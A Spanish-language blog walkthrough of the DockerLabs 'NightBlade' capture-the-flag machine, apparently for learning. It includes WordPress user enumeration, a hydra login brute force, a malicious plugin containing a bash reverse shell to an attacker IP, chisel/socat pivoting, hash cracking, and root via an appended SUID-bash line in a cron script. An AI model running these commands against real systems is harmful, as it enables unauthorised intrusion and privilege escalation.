Post

NightBlade, DockerLabs

portada

Maquina Nightblade de DockerLabs clasificada como media con pivoting que sepamos de momento, despues de hacerla

Herramientas y recursos

Tecnicas Herramientas objetivo
scan de puertos nmap Descubrimiento de servicios expuestos
Fuzzing Web feroxbuster Enumeración de directorios y archivos ocultos
Fuerza bruta de usuarios wpscan descubrir usuarios
Pivoting chisel tuneles y redirecciones
Fuerza bruta hash MD5 john obtencion de password

Reconocimiento y enumeracion

Lo primero como siempre le tiramos un nmap con los parámetros de costumbre y en esta ocasion solo disponemos del 80 y el mismo nmap ya nos reporta dos cosas interesantes un posible wordpress y una posible ruta , aunque pareciera un md5 o una cade hex , no obtsante primero entremos a ver la web.

1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX nigthblade

Reporte nmap

nmap

Visitamos la web y revisamos su codigo por si hay algo y no encontramos nada util o interesante , es un puto restricted shell y en este caso hecho en js con ^u podemos ver el codigo y darnos cueta de que todo lo que ejecutemos ahi es puro humo , vamos mas falso que un euro de madera.

web

Lanzamos un feroxbuster:

1
feroxbuster -u http://10.10.10.1 -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x php -s 200,301,302,403,500 --dont-filter

De lanzar ferox obtengo varias cosas:

  • Me confirma que hay rutas de wordpress
  • Y me da un 404 en la ruta extraña del robots.txt por tanto eso no es una ruta.

ferox

ferox

Compruebo la ruta de robots.txt y me copio la cadena y trataramos de decodearla y como decia antes o es md5 o hexadecimal.

robots

1
2
echo '4c334d7a5933497a6445417662476c7a644335306548513d0a' | xxd -r -p
echo '4c334d7a5933497a6445417662476c7a644335306548513d0a' | xxd -r -p | base64 -d

s3creta

Sabemos que es una cadena hexadecimal porque los caracteres van del 0-9 y de la A ala F

Vamos a la nueva ruta y obetenemos una lista de posibles contraseñas fuerza bruta contra el wordpress pero antes vamos a lanzar wpscan para obetener algun usario valido.

contraseñas

1
wpscan --url http://10.10.10.2/wp --api-token xxxxxxxxxxxxxxxxxxxx --random-user-agent  -e u -o maquina1.txt 

wpscan

Vemos que tenemos directory listing y sobre todo lo que nos interesaba un user krav0 asi que toca realizar fuerza bruta contra el login de wordpress.

Yo tuve algunos inconvenientes con wordpress al tratar de realizar algunas acciones este internamente estaba configurado con otra ip mandaba a la maquina que no existia , la solucion fueron unas reglas de iptables.

172

1
2
3
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A OUTPUT -d 172.17.0.2 -j DNAT --to-destination 10.10.10.2
sudo iptables -t nat -A POSTROUTING -j MASQUERADE
  • Activamos el fordwading dado que linux rechaza todo lo que no valla al el mismo
  • Segundo comando:
    • -t nat: Indica que trabajamos en la tabla de traducción de direcciones de red.
    • -A OUTPUT: Se aplica al tráfico que se genera en la propia máquina (hacia afuera).
    • -d 172.17.0.2: Significa “Si el destino original es 172.17.0.2…”.
    • -j DNAT –to-destination 10.10.10.2: “…cambia ese destino por 10.10.10.2”.
  • Tercer comando:
    • Es un nat dinamico y al salir el paquete de nuestra maquina le cambia la ip por la de nuestra maquina de esa forma la otra maquina sabra donde responder.

Una vez solucionado el problema sabiendo lo que nos devolvera wordpress, lanzamos un ataque de fuerza bruta con hydra.

1
hydra -l krav0 -P dicc 10.10.10.2 http-form-post "/wp/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=id=\"login_error\""

hydra

Ahora con el user y el pass vamos a ver si es verdad y si nos podemos loguear , crearemos un pluggin que nos de una revshell

En nuestra maquina local creamos un .php y lo comprimimimos en zip para subirlo posteriormente desde el admin panel

1
2
3
4
5
6
<?php
/**
* Plugin Name: RevShell
*/
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.18.14/4444 0>&1'");
?>
1
zip pluging.zip plugg.php

wpupload

Una vez subido he instalado lo activamos y se nos lanzara la revshell.

Ahora nos colocamos en escucha y recibimos la revshell. Como os decia arriba yo he subido algo un poco mas util que una simple revshell y como se que hay varias maquinas asi me pòdre enviar las revshells que necesite sin mucha complicacion.

wp

Ni bien entramos hacemois un ifconfig y se nos muetra el otro dispositivo de red.

ifconfig

Despues de estar un buen rato tratando de escalar a root en esta maquina yo no encontre la forma , asi que directamente voy a pasar a la parte de pivoting y para ello vamos a transferirnos dos ficheros el chisel y el socat

Para poder ver lo que esconde la maquina 2 seguimos estos pasos:

1
2
3
4
5
6
7
8
9
10
11
 - En la maquina atacante lanzamos **chisel en modo servidor**

 ```bash
 ./chisel server --reverse -p 11111
 ```

 - En la victima 1 otro chisel como cliente apuntando a nuestra atacante.

 ```bash
  ./chisel client 192.168.18.14:11111 R:socks
 ```

Maquina atacante:

listeen

Maquina victima 1:

connect

Añadimos en /etc/proxychains.conf lo que nos indica comando lanzado en la atacante y tambien creamos un proxy nuevo en foxyproxy.

Hasta aqui ya conseguimos ver la maquina 2 pero ella a nosotros no para eso luego usaremos socat cuando nos tengamos que mandar una revshell desde ella.

No obstante podemos usar la herramientas a traves del proxy para alcanzarla , ahora es como si empezamos con una maquina nueva pero haciendo uso del proxy que hemos creado , asi que primero le tiramos un nmap.

1
sudo proxychains nmap -A -n -Pn 20.20.20.3

Si revisamos la web no se ve nada es una pagina por defecto asi que vamos a hacer fuzzing

1
feroxbuster -u http://20.20.20.3 --proxy socks5://127.0.0.1:1080 -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x php,js,txt,sql,zip,bkp,backup

ferox2

Ferox nos tira dos datos interesantes un index.php y un db.sql , entrando en la web no hay nada asi que paso a ver el db vamos a la ruta y lo descargamos.

web2

1
cat db.sql

dbsql

Como siempre nos quedamos con esos valores y los preparo para john.

john

Nos da el password dragon para nightblade asi que nos vamos a ssh

1
proxychains4 ssh nightblade@20.20.20.3

Ya estamos dentro de la segunda maquina.

ssh

Buscando procesos encuentro que cron esta ejecutado por root , asi que vamos a averiguar que es lo que ejecuta y donde esta

ps

1
find / -path /proc -prune -o -path /sys -prune -o -path /dev -prune -o -path /etc -prune -o -writable -type f 2>/dev/null

Hemos encontrado un fichero en /opt ahoara vamos a ver si corresponde al cron que se ejecuta con root.

check

Nos deplazamos a la configuracion general de cron.d y observamos y comprobamos que estamos por el camino correcto.

crond

Ahora que esta todo mas claro vamos a añadir una linea al final del fichero y esperamos 1 minuto a que lo ejecute.

1
echo 'cp /bin/bash /tmp/bashroot && chmod +s /tmp/bashroot' >> /opt/scripts/check.sh

Nos hemos copiado con permisos de suid bash a tmp y lo ejecutamos con bashroot -p.

root

Hasta aqui la maquinita ,divertida y esta bien de vez en cuando tocar algo de pivoting

TIPS EXTRA

Si hubiesmos tenido que mandarnos una revshell, hubiesemos hecho uso de socat de la siguente manera en la victima 1:

1
./socat tcp-l:33333,fork,reuseaddr tcp:192.168.18.14:1188
1
 - Le estamos indicando que todo el trafico que reciba en el puerto 33333 lo reenvia al atacante o la maquina que este delante lo envie al puerto 1188 donde tendremos a nc escuchando.

En fin saludo y gracias por las maquinas , asi difundiendo y compartiendo se aprende.

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.